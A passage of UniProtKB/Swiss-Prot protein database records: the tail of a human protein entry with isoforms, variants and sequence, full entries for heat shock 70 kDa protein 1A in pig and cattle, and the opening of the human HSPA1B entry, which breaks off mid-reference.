FT /FTId=VSP_047389.
FT VAR_SEQ 1212 1252 Missing (in isoform 2, isoform 3, isoform
FT 4, isoform 5, isoform 6, isoform 7 and
FT isoform 9). {ECO:0000303|PubMed:10574462,
FT ECO:0000303|PubMed:10878805,
FT ECO:0000303|PubMed:11375975,
FT ECO:0000303|PubMed:14702039,
FT ECO:0000303|PubMed:15489334}.
FT /FTId=VSP_010802.
FT VAR_SEQ 1212 1252 KHPQTSSSGDPCQDGIFISGQQNYSSATLSHKDVPPDSLMK
FT -> SMLSRSFNSNFTTVSSFHCGSSRDLHGSQGSLALSVAD
FT RRGSGGHIFR (in isoform 8).
FT {ECO:0000303|PubMed:15489334}.
FT /FTId=VSP_044536.
FT VAR_SEQ 1253 1267 Missing (in isoform 5 and isoform 7).
FT {ECO:0000303|PubMed:11375975}.
FT /FTId=VSP_010803.
FT VAR_SEQ 1268 1278 Missing (in isoform 3 and isoform 7).
FT {ECO:0000303|PubMed:11375975}.
FT /FTId=VSP_010804.
FT VAR_SEQ 1279 1321 Missing (in isoform 7).
FT {ECO:0000303|PubMed:11375975}.
FT /FTId=VSP_010805.
FT VAR_SEQ 1322 1352 Missing (in isoform 6).
FT {ECO:0000303|PubMed:11375975}.
FT /FTId=VSP_010806.
FT VAR_SEQ 1353 1377 Missing (in isoform 4).
FT {ECO:0000303|PubMed:11375975,
FT ECO:0000303|PubMed:14702039}.
FT /FTId=VSP_010807.
FT VARIANT 274 274 S -> L (in dbSNP:rs3213837).
FT {ECO:0000269|PubMed:15489334}.
FT /FTId=VAR_019346.
FT VARIANT 313 313 A -> V (in dbSNP:rs191137999).
FT {ECO:0000269|PubMed:15489334}.
FT /FTId=VAR_068905.
FT VARIANT 746 746 K -> E (in dbSNP:rs16894812).
FT /FTId=VAR_028304.
FT VARIANT 914 914 K -> R (in dbSNP:rs34521887).
FT /FTId=VAR_046673.
FT VARIANT 1089 1089 G -> V (in dbSNP:rs35601230).
FT /FTId=VAR_046674.
FT VARIANT 1112 1112 S -> L (in dbSNP:rs3805466).
FT /FTId=VAR_019347.
FT VARIANT 1207 1207 K -> E. {ECO:0000269|PubMed:11375975}.
FT /FTId=VAR_019348.
FT CONFLICT 271 271 T -> P (in Ref. 7; AAI15013).
FT {ECO:0000305}.
FT CONFLICT 547 547 D -> G (in Ref. 7; AAI15013).
FT {ECO:0000305}.
FT CONFLICT 805 805 E -> G (in Ref. 5; BAA91538).
FT {ECO:0000305}.
FT CONFLICT 813 813 Y -> C (in Ref. 2; AAK69431).
FT {ECO:0000305}.
FT CONFLICT 848 848 G -> C (in Ref. 5; BAG65463).
FT {ECO:0000305}.
FT CONFLICT 1047 1047 R -> S (in Ref. 5; BAG65463).
FT {ECO:0000305}.
FT CONFLICT 1205 1205 E -> G (in Ref. 7; AAI15013).
FT {ECO:0000305}.
FT CONFLICT 1267 1267 Q -> P (in Ref. 7; AAI15013).
FT {ECO:0000305}.
FT CONFLICT 1328 1328 K -> R (in Ref. 7; AAI15013).
FT {ECO:0000305}.
FT STRAND 1318 1327 {ECO:0000244|PDB:2H3L}.
FT STRAND 1329 1331 {ECO:0000244|PDB:2H3L}.
FT STRAND 1333 1338 {ECO:0000244|PDB:2H3L}.
FT TURN 1339 1342 {ECO:0000244|PDB:2H3L}.
FT STRAND 1346 1348 {ECO:0000244|PDB:2H3L}.
FT STRAND 1353 1359 {ECO:0000244|PDB:2H3L}.
FT TURN 1364 1368 {ECO:0000244|PDB:2H3L}.
FT STRAND 1374 1378 {ECO:0000244|PDB:2H3L}.
FT HELIX 1388 1397 {ECO:0000244|PDB:2H3L}.
FT STRAND 1400 1410 {ECO:0000244|PDB:2H3L}.
SQ SEQUENCE 1412 AA; 158298 MW; 304DFC81578CF671 CRC64;
MTTKRSLFVR LVPCRCLRGE EETVTTLDYS HCSLEQVPKE IFTFEKTLEE LYLDANQIEE
LPKQLFNCQS LHKLSLPDND LTTLPASIAN LINLRELDVS KNGIQEFPEN IKNCKVLTIV
EASVNPISKL PDGFSQLLNL TQLYLNDAFL EFLPANFGRL TKLQILELRE NQLKMLPKTM
NRLTQLERLD LGSNEFTEVP EVLEQLSGLK EFWMDANRLT FIPGFIGSLK QLTYLDVSKN
NIEMVEEGIS TCENLQDLLL SSNSLQQLPE TIGSLKNITT LKIDENQLMY LPDSIGGLIS
VEELDCSFNE VEALPSSIGQ LTNLRTFAAD HNYLQQLPPE IGSWKNITVL FLHSNKLETL
PEEMGDMQKL KVINLSDNRL KNLPFSFTKL QQLTAMWLSD NQSKPLIPLQ KETDSETQKM
VLTNYMFPQQ PRTEDVMFIS DNESFNPSLW EEQRKQRAQV AFECDEDKDE REAPPREGNL
KRYPTPYPDE LKNMVKTVQT IVHRLKDEET NEDSGRDLKP HEDQQDINKD VGVKTSESTT
TVKSKVDERE KYMIGNSVQK ISEPEAEISP GSLPVTANMK ASENLKHIVN HDDVFEESEE
LSSDEEMKMA EMRPPLIETS INQPKVVALS NNKKDDTKET DSLSDEVTHN SNQNNSNCSS
PSRMSDSVSL NTDSSQDTSL CSPVKQTHID INSKIRQEDE NFNSLLQNGD ILNSSTEEKF
KAHDKKDFNL PEYDLNVEER LVLIEKSVDS TATADDTHKL DHINMNLNKL ITNDTFQPEI
MERSKTQDIV LGTSFLSINS KEETEHLENG NKYPNLESVN KVNGHSEETS QSPNRTEPHD
SDCSVDLGIS KSTEDLSPQK SGPVGSVVKS HSITNMEIGG LKIYDILSDN GPQQPSTTVK
ITSAVDGKNI VRSKSATLLY DQPLQVFTGS SSSSDLISGT KAIFKFDSNH NPEEPNIIRG
PTSGPQSAPQ IYGPPQYNIQ YSSSAAVKDT LWHSKQNPQI DHASFPPQLL PRSESTENQS
YAKHSANMNF SNHNNVRANT AYHLHQRLGP ARHGEMWAIS PNDRLIPAVT RSTIQRQSSV
SSTASVNLGD PGSTRRAQIP EGDYLSYREF HSAGRTPPMM PGSQRPLSAR TYSIDGPNAS
RPQSARPSIN EIPERTMSVS DFNYSRTSPS KRPNARVGSE HSLLDPPGKS KVPRDWREQV
LRHIEAKKLE KKHPQTSSSG DPCQDGIFIS GQQNYSSATL SHKDVPPDSL MKMPLSNGQM
GQPLRPQANY SQIHHPPQAS VARHPSREQL IDYLMLKVAH QPPYTQPHCS PRQGHELAKQ
EIRVRVEKDP ELGFSISGGV GGRGNPFRPD DDGIFVTRVQ PEGPASKLLQ PGDKIIQANG
YSFINIEHGQ AVSLLKTFQN TVELIIVREV SS
//
ID HS71A_PIG Reviewed; 641 AA.
AC P34930;
DT 01-FEB-1994, integrated into UniProtKB/Swiss-Prot.
DT 01-FEB-1994, sequence version 1.
DT 06-JUL-2016, entry version 79.
DE RecName: Full=Heat shock 70 kDa protein 1A;
DE AltName: Full=Heat shock 70 kDa protein 1;
DE Short=HSP70.1;
GN Name=HSPA1A; Synonyms=HSPA1;
OS Sus scrofa (Pig).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Laurasiatheria; Cetartiodactyla; Suina; Suidae;
OC Sus.
OX NCBI_TaxID=9823;
RN [1]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA].
RX PubMed=1339404; DOI=10.1007/BF00166836;
RA Peelman L.J., de Weghe A.R., Coppieters W.R., van Zeveren A.J.,
RA Bouquet Y.H.;
RT "Complete nucleotide sequence of a porcine HSP70 gene.";
RL Immunogenetics 35:286-289(1992).
CC -!- FUNCTION: In cooperation with other chaperones, Hsp70s stabilize
CC preexistent proteins against aggregation and mediate the folding
CC of newly translated polypeptides in the cytosol as well as within
CC organelles. These chaperones participate in all these processes
CC through their ability to recognize nonnative conformations of
CC other proteins. They bind extended peptide segments with a net
CC hydrophobic character exposed by polypeptides during translation
CC and membrane translocation, or following stress-induced damage.
CC Essential for STUB1-mediated ubiquitination and degradation of
CC FOXP3 in regulatory T-cells (Treg) during inflammation.
CC {ECO:0000250|UniProtKB:P08107}.
CC -!- SUBUNIT: Component of the CatSper complex. Identified in a
CC IGF2BP1-dependent mRNP granule complex containing untranslated
CC mRNAs. Identified in a IGF2BP1-dependent mRNP granule complex
CC containing untranslated mRNAs. Interacts with CHCHD3, DNAJC7,
CC IRAK1BP1, PPP5C and TSC2. Interacts with TERT; the interaction
CC occurs in the absence of the RNA component, TERC, and dissociates
CC once the TERT complex has formed. Interacts with TRIM5 (via
CC B30.2/SPRY domain). Interacts with METTL21A. Interacts with
CC DNAAF2. Interacts with PARK2. Interacts with FOXP3. Interacts with
CC NOD2; the interaction enhances NOD2 stability. Interacts with
CC DNAJC9 (via J domain). Interacts with ATF5; the interaction
CC protects ATF5 from degradation via proteasome-dependent and
CC caspase-dependent processes (By similarity). Interacts with RNF207
CC (via the C-terminus); this interaction additively increases KCNH2
CC expression (By similarity). {ECO:0000250|UniProtKB:P08107,
CC ECO:0000250|UniProtKB:P0DMV8, ECO:0000250|UniProtKB:Q61696}.
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000250}. Note=Localized in
CC cytoplasmic mRNP granules containing untranslated mRNAs.
CC {ECO:0000250}.
CC -!- SIMILARITY: Belongs to the heat shock protein 70 family.
CC {ECO:0000305}.
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DR EMBL; M69100; -; NOT_ANNOTATED_CDS; Genomic_DNA.
DR PIR; S35718; S35718.
DR ProteinModelPortal; P34930; -.
DR SMR; P34930; 1-621.
DR IntAct; P34930; 2.
DR MINT; MINT-7384270; -.
DR STRING; 9823.ENSSSCP00000020097; -.
DR PaxDb; P34930; -.
DR PeptideAtlas; P34930; -.
DR PRIDE; P34930; -.
DR eggNOG; KOG0101; Eukaryota.
DR eggNOG; COG0443; LUCA.
DR HOVERGEN; HBG051845; -.
DR InParanoid; P34930; -.
DR PRO; PR:P34930; -.
DR Proteomes; UP000008227; Unplaced.
DR GO; GO:0005737; C:cytoplasm; IEA:UniProtKB-SubCell.
DR GO; GO:0005524; F:ATP binding; IEA:UniProtKB-KW.
DR Gene3D; 1.20.1270.10; -; 1.
DR Gene3D; 2.60.34.10; -; 1.
DR InterPro; IPR018181; Heat_shock_70_CS.
DR InterPro; IPR029048; HSP70_C.
DR InterPro; IPR029047; HSP70_peptide-bd.
DR InterPro; IPR013126; Hsp_70_fam.
DR Pfam; PF00012; HSP70; 1.
DR PRINTS; PR00301; HEATSHOCK70.
DR SUPFAM; SSF100920; SSF100920; 1.
DR SUPFAM; SSF100934; SSF100934; 1.
DR PROSITE; PS00297; HSP70_1; 1.
DR PROSITE; PS00329; HSP70_2; 1.
DR PROSITE; PS01036; HSP70_3; 1.
PE 3: Inferred from homology;
KW Acetylation; ATP-binding; Chaperone; Complete proteome; Cytoplasm;
KW Methylation; Nucleotide-binding; Phosphoprotein; Reference proteome;
KW Stress response.
FT INIT_MET 1 1 Removed. {ECO:0000250|UniProtKB:P0DMV8}.
FT CHAIN 2 641 Heat shock 70 kDa protein 1A.
FT /FTId=PRO_0000078252.
FT NP_BIND 12 15 ATP. {ECO:0000250}.
FT NP_BIND 202 204 ATP. {ECO:0000250}.
FT NP_BIND 268 275 ATP. {ECO:0000250}.
FT NP_BIND 339 342 ATP. {ECO:0000250}.
FT BINDING 71 71 ATP. {ECO:0000250}.
FT MOD_RES 2 2 N-acetylalanine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 108 108 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 246 246 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 348 348 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 561 561 N6,N6,N6-trimethyllysine; by METTL21A.
FT {ECO:0000250}.
FT MOD_RES 631 631 Phosphoserine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 633 633 Phosphoserine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 636 636 Phosphothreonine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
SQ SEQUENCE 641 AA; 70083 MW; FE77BB20A03E0A33 CRC64;
MAKSVAIGID LGTTYSCVGV FQHGKVEIIA NDQGNRTTPS SVAFTDTERL IGDAAKNQVA
LNPQNTVFDA KRLIGRKFGD PVVQGDMKHW PFRVINDGDK PKVQVSYKGE TKGFYPEEIS
SMVLTKMKEI AEGYLGHPVS NAVITVPAYF NDSQRQATKD AGVIAGLNVL RIINEPTAAA
IAYGLDRTGK GERNVLIFDL GGGTFDVSIL TIDDGIFEVK ATAGDTHLGG EDFDNRLVNH
FVEEFKRKHK KDYSQNKRAV RRLRTACERA KRTLSSSTQA SLEIDSLFEG IDFYTSITRA
RFEELCSDLF RSTLEPVEKA LRDAKLDKAQ IHDLVLVGGS TRIPKVQKLL QDFFNGRDLN
KSINPDEAVA YGAAVQAAIL MGDKSENVQD LLLLDVAPLS LGLETAGGVM TALIKRNSTI
PTKQTQIFTT YSDNQPGVLI QVYEGERAMT RDNNLLGRFE LSGIPPAPRG VPQIEVTFDI
DANGILNVTA TDKSTGKANK ITITNDKGRL SKEEIERMVQ EAEKYKAEDE IQRERVGAKN
ALESYAFNMK SVVEDEGLKG KISEADKKKV LDKCQEVISW LDANTLAEKD EFEHKRKELE
QVCNPIISGL YQGAGGPGPG GFGAPDLKGG SGSGPTIEEV D
//
ID HS71A_BOVIN Reviewed; 641 AA.
AC Q27975; Q27964; Q6DLW1; Q7YQF7;
DT 01-NOV-1997, integrated into UniProtKB/Swiss-Prot.
DT 21-DEC-2004, sequence version 2.
DT 07-SEP-2016, entry version 106.
DE RecName: Full=Heat shock 70 kDa protein 1A;
DE AltName: Full=Heat shock 70 kDa protein 1;
DE Short=HSP70.1;
GN Name=HSPA1A; Synonyms=HSP70-1;
OS Bos taurus (Bovine).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Laurasiatheria; Cetartiodactyla; Ruminantia;
OC Pecora; Bovidae; Bovinae; Bos.
OX NCBI_TaxID=9913;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA].
RC TISSUE=Skeletal muscle;
RX PubMed=7826329; DOI=10.1042/bj3050197;
RA Gutierrez J.A., Guerriero V.;
RT "Chemical modifications of a recombinant bovine stress-inducible 70
RT kDa heat-shock protein (Hsp70) mimics Hsp70 isoforms from tissues.";
RL Biochem. J. 305:197-203(1995).
RN [2]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA].
RC STRAIN=Holstein-Friesian;
RX PubMed=12755819; DOI=10.1046/j.1365-2052.2003.00990.x;
RA Sugimoto M., Furuoka H., Sugimoto Y.;
RT "Deletion of one of the duplicated Hsp70 genes causes hereditary
RT myopathy of diaphragmatic muscles in Holstein-Friesian cattle.";
RL Anim. Genet. 34:191-197(2003).
RN [3]
RP NUCLEOTIDE SEQUENCE [MRNA].
RC TISSUE=Heart muscle;
RX PubMed=15491140; DOI=10.1021/bi049036k;
RA Lakshmikuttyamma A., Selvakumar P., Anderson D.H., Datla R.S.,
RA Sharma R.K.;
RT "Molecular cloning of bovine cardiac muscle heat-shock protein 70 kDa
RT and its phosphorylation by cAMP-dependent protein kinase in vitro.";
RL Biochemistry 43:13340-13347(2004).
RN [4]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA] OF 212-641.
RC STRAIN=Angus;
RX PubMed=7943958;
RA Grosz M.D., Skow L.C., Stone R.T.;
RT "An AluI polymorphism at the bovine 70 kD heat-shock protein-1 (HSP70-
RT 1) locus.";
RL Anim. Genet. 25:196-196(1994).
CC -!- FUNCTION: In cooperation with other chaperones, Hsp70s stabilize
CC preexistent proteins against aggregation and mediate the folding
CC of newly translated polypeptides in the cytosol as well as within
CC organelles. These chaperones participate in all these processes
CC through their ability to recognize nonnative conformations of
CC other proteins. They bind extended peptide segments with a net
CC hydrophobic character exposed by polypeptides during translation
CC and membrane translocation, or following stress-induced damage.
CC Essential for STUB1-mediated ubiquitination and degradation of
CC FOXP3 in regulatory T-cells (Treg) during inflammation.
CC {ECO:0000250|UniProtKB:P08107}.
CC -!- SUBUNIT: Component of the CatSper complex. Identified in a
CC IGF2BP1-dependent mRNP granule complex containing untranslated
CC mRNAs. Interacts with CHCHD3, DNAJC7, IRAK1BP1, PPP5C and TSC2.
CC Interacts with TERT; the interaction occurs in the absence of the
CC RNA component, TERC, and dissociates once the TERT complex has
CC formed. Interacts with TRIM5 (via B30.2/SPRY domain). Interacts
CC with METTL21A. Interacts with DNAAF2. Interacts with PARK2.
CC Interacts with FOXP3. Interacts with NOD2; the interaction
CC enhances NOD2 stability. Interacts with DNAJC9 (via J domain).
CC Interacts with ATF5; the interaction protects ATF5 from
CC degradation via proteasome-dependent and caspase-dependent
CC processes (By similarity). Interacts with RNF207 (via the C-
CC terminus); this interaction additively increases KCNH2 expression
CC (By similarity). {ECO:0000250|UniProtKB:P08107,
CC ECO:0000250|UniProtKB:P0DMV8, ECO:0000250|UniProtKB:Q61696}.
CC -!- INTERACTION:
CC P02639:S100A1; NbExp=2; IntAct=EBI-6477341, EBI-6477285;
CC -!- INDUCTION: By heat shock.
CC -!- SIMILARITY: Belongs to the heat shock protein 70 family.
CC {ECO:0000305}.
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DR EMBL; U09861; AAA73914.1; -; mRNA.
DR EMBL; AY149618; AAN78092.1; -; Genomic_DNA.
DR EMBL; AY149619; AAN78094.1; -; Genomic_DNA.
DR EMBL; AY662497; AAT75223.1; -; mRNA.
DR EMBL; U02891; AAA03450.1; -; Unassigned_DNA.
DR PIR; S53357; S53357.
DR RefSeq; NP_776975.1; NM_174550.1.
DR UniGene; Bt.49659; -.
DR ProteinModelPortal; Q27975; -.
DR SMR; Q27975; 1-619.
DR BioGrid; 159138; 1.
DR IntAct; Q27975; 1.
DR STRING; 9913.ENSBTAP00000017500; -.
DR PaxDb; Q27975; -.
DR PRIDE; Q27975; -.
DR Ensembl; ENSBTAT00000017500; ENSBTAP00000017500; ENSBTAG00000025441.
DR GeneID; 281825; -.
DR KEGG; bta:281825; -.
DR CTD; 3303; -.
DR eggNOG; KOG0101; Eukaryota.
DR eggNOG; COG0443; LUCA.
DR GeneTree; ENSGT00840000130013; -.
DR HOGENOM; HOG000228135; -.
DR HOVERGEN; HBG051845; -.
DR InParanoid; Q27975; -.
DR KO; K03283; -.
DR OMA; MAKSTAI; -.
DR OrthoDB; EOG091G03SF; -.
DR TreeFam; TF105042; -.
DR Reactome; R-BTA-3371453; Regulation of HSF1-mediated heat shock response.
DR Reactome; R-BTA-3371568; Attenuation phase.
DR Reactome; R-BTA-3371571; HSF1-dependent transactivation.
DR Reactome; R-BTA-450408; AUF1 (hnRNP D0) binds and destabilizes mRNA.
DR PRO; PR:Q27975; -.
DR Proteomes; UP000009136; Chromosome 23.
DR Bgee; ENSBTAG00000025441; -.
DR GO; GO:0072562; C:blood microparticle; IEA:Ensembl.
DR GO; GO:0005814; C:centriole; IEA:Ensembl.
DR GO; GO:0005829; C:cytosol; IEA:Ensembl.
DR GO; GO:0005925; C:focal adhesion; IEA:Ensembl.
DR GO; GO:0016234; C:inclusion body; IEA:Ensembl.
DR GO; GO:0005739; C:mitochondrion; IEA:GOC.
DR GO; GO:0048471; C:perinuclear region of cytoplasm; IEA:Ensembl.
DR GO; GO:0000151; C:ubiquitin ligase complex; IEA:Ensembl.
DR GO; GO:0005524; F:ATP binding; IEA:UniProtKB-KW.
DR GO; GO:0042623; F:ATPase activity, coupled; IEA:Ensembl.
DR GO; GO:0046034; P:ATP metabolic process; IEA:Ensembl.
DR GO; GO:0070370; P:cellular heat acclimation; IEA:Ensembl.
DR GO; GO:0006281; P:DNA repair; IEA:Ensembl.
DR GO; GO:1902236; P:negative regulation of endoplasmic reticulum stress-induced intrinsic apoptotic signaling pathway; IEA:Ensembl.
DR GO; GO:2001240; P:negative regulation of extrinsic apoptotic signaling pathway in absence of ligand; IEA:Ensembl.
DR GO; GO:0090084; P:negative regulation of inclusion body assembly; IEA:Ensembl.
DR GO; GO:1901029; P:negative regulation of mitochondrial outer membrane permeabilization involved in apoptotic signaling pathway; IEA:Ensembl.
DR GO; GO:0031397; P:negative regulation of protein ubiquitination; IEA:Ensembl.
DR GO; GO:1902380; P:positive regulation of endoribonuclease activity; IEA:Ensembl.
DR GO; GO:0032757; P:positive regulation of interleukin-8 production; IEA:Ensembl.
DR GO; GO:1904722; P:positive regulation of mRNA endonucleolytic cleavage involved in unfolded protein response; IEA:Ensembl.
DR GO; GO:0051092; P:positive regulation of NF-kappaB transcription factor activity; IEA:Ensembl.
DR GO; GO:0070434; P:positive regulation of nucleotide-binding oligomerization domain containing 2 signaling pathway; IEA:Ensembl.
DR GO; GO:1903265; P:positive regulation of tumor necrosis factor-mediated signaling pathway; IEA:Ensembl.
DR GO; GO:0042026; P:protein refolding; IEA:Ensembl.
DR GO; GO:0050821; P:protein stabilization; IEA:Ensembl.
DR GO; GO:0000723; P:telomere maintenance; IEA:Ensembl.
DR Gene3D; 1.20.1270.10; -; 1.
DR Gene3D; 2.60.34.10; -; 1.
DR InterPro; IPR018181; Heat_shock_70_CS.
DR InterPro; IPR029048; HSP70_C.
DR InterPro; IPR029047; HSP70_peptide-bd.
DR InterPro; IPR013126; Hsp_70_fam.
DR Pfam; PF00012; HSP70; 1.
DR PRINTS; PR00301; HEATSHOCK70.
DR SUPFAM; SSF100920; SSF100920; 1.
DR SUPFAM; SSF100934; SSF100934; 1.
DR PROSITE; PS00297; HSP70_1; 1.
DR PROSITE; PS00329; HSP70_2; 1.
DR PROSITE; PS01036; HSP70_3; 1.
PE 1: Evidence at protein level;
KW Acetylation; ATP-binding; Chaperone; Complete proteome; Methylation;
KW Nucleotide-binding; Phosphoprotein; Reference proteome;
KW Stress response.
FT INIT_MET 1 1 Removed. {ECO:0000250|UniProtKB:P0DMV8}.
FT CHAIN 2 641 Heat shock 70 kDa protein 1A.
FT /FTId=PRO_0000078245.
FT NP_BIND 12 15 ATP. {ECO:0000250}.
FT NP_BIND 202 204 ATP. {ECO:0000250}.
FT NP_BIND 268 275 ATP. {ECO:0000250}.
FT NP_BIND 339 342 ATP. {ECO:0000250}.
FT BINDING 71 71 ATP. {ECO:0000250}.
FT MOD_RES 2 2 N-acetylalanine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 108 108 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 246 246 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 348 348 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 561 561 N6,N6,N6-trimethyllysine; by METTL21A; in
FT vitro. {ECO:0000250}.
FT MOD_RES 631 631 Phosphoserine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 633 633 Phosphoserine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT MOD_RES 636 636 Phosphothreonine.
FT {ECO:0000250|UniProtKB:P0DMV8}.
FT CONFLICT 57 57 N -> S (in Ref. 3; AAT75223).
FT {ECO:0000305}.
FT CONFLICT 89 89 H -> E (in Ref. 1; AAA73914).
FT {ECO:0000305}.
SQ SEQUENCE 641 AA; 70259 MW; 6FAC1F30540E80F9 CRC64;
MAKNMAIGID LGTTYSCVGV FQHGKVEIIA NDQGNRTTPS YVAFTDTERL IGDAAKNQVA
LNPQNTVFDA KRLIGRKFGD PVVQSDMKHW PFRVINDGDK PKVQVSYKGE TKAFYPEEIS
SMVLTKMKEI AEAYLGHPVT NAVITVPAYF NDSQRQATKD AGVIAGLNVL RIINEPTAAA
IAYGLDRTGK GERNVLIFDL GGGTFDVSIL TIDDGIFEVK ATAGDTHLGG EDFDNRLVNH
FVEEFKRKHK KDISQNKRAV RRLRTACERA KRTLSSSTQA SLEIDSLFEG IDFYTSITRA
RFEELCSDLF RSTLEPVEKA LRDAKLDKAQ IHDLVLVGGS TRIPKVQKLL QDFFNGRDLN
KSINPDEAVA YGAAVQAAIL MGDKSENVQD LLLLDVAPLS LGLETAGGVM TALIKRNSTI
PTKQTQIFTT YSDNQPGVLI QVYEGERAMT RDNNLLGRFE LSGIPPAPRG VPQIEVTFDI
DANGILNVTA TDKSTGKANK ITITNDKGRL SKEEIERMVQ EAEKYKAEDE VQRERVSAKN
ALESYAFNMK SAVEDEGLKG KISEADKKKV LDKCQEVISW LDANTLAEKD EFEHKRKELE
QVCNPIISRL YQGAGGPGAG GFGAQGPKGG SGSGPTIEEV D
//
ID HS71B_HUMAN Reviewed; 641 AA.
AC P0DMV9; B4E3B6; P08107; P19790; Q5JQI4; Q5SP17; Q9UQL9; Q9UQM0;
DT 27-MAY-2015, integrated into UniProtKB/Swiss-Prot.
DT 27-MAY-2015, sequence version 1.
DT 07-SEP-2016, entry version 13.
DE RecName: Full=Heat shock 70 kDa protein 1B {ECO:0000312|HGNC:HGNC:5233};
DE AltName: Full=Heat shock 70 kDa protein 2;
DE Short=HSP70-2 {ECO:0000303|PubMed:14656967, ECO:0000303|PubMed:2538825};
DE Short=HSP70.2;
GN Name=HSPA1B {ECO:0000312|HGNC:HGNC:5233};
OS Homo sapiens (Human).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Primates; Haplorrhini;
OC Catarrhini; Hominidae; Homo.
OX NCBI_TaxID=9606;
RN [1]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA].
RX PubMed=1700760; DOI=10.1007/BF00187095;
RA Milner C.M., Campbell R.D.;
RT "Structure and expression of the three MHC-linked HSP70 genes.";
RL Immunogenetics 32:242-251(1990).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RA Shiina S., Tamiya G., Oka A., Inoko H.;
RT "Homo sapiens 2,229,817bp genomic DNA of 6p21.3 HLA class I region.";
RL Submitted (SEP-1999) to the EMBL/GenBank/DDBJ databases.
RN [3]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA], AND VARIANT SER-499.
RX PubMed=14656967; DOI=10.1101/gr.1736803;
RA Xie T., Rowen L., Aguado B., Ahearn M.E., Madan A., Qin S.,
RA Campbell R.D., Hood L.;
RT "Analysis of the gene-dense major histocompatibility complex class III
RT region and its comparison to mouse.";
RL Genome Res. 13:2621-2636(2003).
RN [4]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA], AND VARIANTS VAL-95; VAL-467 AND
RP SER-499.
RG NIEHS SNPs program;
RL Submitted (FEB-2006) to the EMBL/GenBank/DDBJ databases.
RN [5]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RX PubMed=14574404; DOI=10.1038/nature02055;
RA Mungall A.J., Palmer S.A., Sims S.K., Edwards C.A., Ashurst J.L.,
RA Wilming L., Jones M.C., Horton R., Hunt S.E., Scott C.E.,
RA Gilbert J.G.R., Clamp M.E., Bethel G., Milne S., Ainscough R.,
RA Almeida J.P., Ambrose K.D., Andrews T.D., Ashwell R.I.S.,
RA Babbage A.K., Bagguley C.L., Bailey J., Banerjee R., Barker D.J.,
RA Barlow K.F., Bates K., Beare D.M., Beasley H., Beasley O., Bird C.P.,
RA Blakey S.E., Bray-Allen S., Brook J., Brown A.J., Brown J.Y.,
RA Burford D.C., Burrill W., Burton J., Carder C., Carter N.P.,
RA Chapman J.C., Clark S.Y., Clark G., Clee C.M., Clegg S., Cobley V.,
RA Collier R.E., Collins J.E., Colman L.K., Corby N.R., Coville G.J.,
RA Culley K.M., Dhami P., Davies J., Dunn M., Earthrowl M.E.,
RA Ellington A.E., Evans K.A., Faulkner L., Francis M.D., Frankish A.,
RA Frankland J., French L., Garner P., Garnett J., Ghori M.J.,
RA Gilby L.M., Gillson C.J., Glithero R.J., Grafham D.V., Grant M.,
RA Gribble S., Griffiths C., Griffiths M.N.D., Hall R., Halls K.S.,
RA Hammond S., Harley J.L., Hart E.A., Heath P.D., Heathcott R.,
RA Holmes S.J., Howden P.J., Howe K.L., Howell G.R., Huckle E.,
RA Humphray S.J., Humphries M.D., Hunt A.R., Johnson C.M., Joy A.A.,
RA Kay M., Keenan S.J., Kimberley A.M., King A., Laird G.K., Langford C.,
RA Lawlor S., Leongamornlert D.A., Leversha M., Lloyd C.R., Lloyd D.M.,
RA Loveland J.E., Lovell J., Martin S., Mashreghi-Mohammadi M.,
RA Maslen G.L., Matthews L., McCann O.T., McLaren S.J., McLay K.,
RA McMurray A., Moore M.J.F., Mullikin J.C., Niblett D., Nickerson T.,
RA Novik K.L., Oliver K., Overton-Larty E.K., Parker A., Patel R.,
RA Pearce A.V., Peck A.I., Phillimore B.J.C.T., Phillips S., Plumb R.W.,
RA Porter K.M., Ramsey Y., Ranby S.A., Rice C.M., Ross M.T., Searle S.M.,
RA Sehra H.K., Sheridan E., Skuce C.D., Smith S., Smith M., Spraggon L.,
RA Squares S.L., Steward C.A., Sycamore N., Tamlyn-Hall G., Tester J.,
RA Theaker A.J., Thomas D.W., Thorpe A., Tracey A., Tromans A., Tubby B.,
RA Wall M., Wallis J.M., West A.P., White S.S., Whitehead S.L.,
RA Whittaker H., Wild A., Willey D.J., Wilmer T.E., Wood J.M., Wray P.W.,
RA Wyatt J.C., Young L., Younger R.M., Bentley D.R., Coulson A.,
RA Durbin R.M., Hubbard T., Sulston J.E., Dunham I., Rogers J., Beck S.;
RT "The DNA sequence and analysis of human chromosome 6.";
RL Nature 425:805-811(2003).
RN [6]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA].
RC TISSUE=Brain, Muscle, Pancreas, PNS, and Skin;
RX PubMed=15489334; DOI=10.1101/gr.2596504;
RG The MGC Project Team;
RT "The status, quality, and expansion of the NIH full-length cDNA
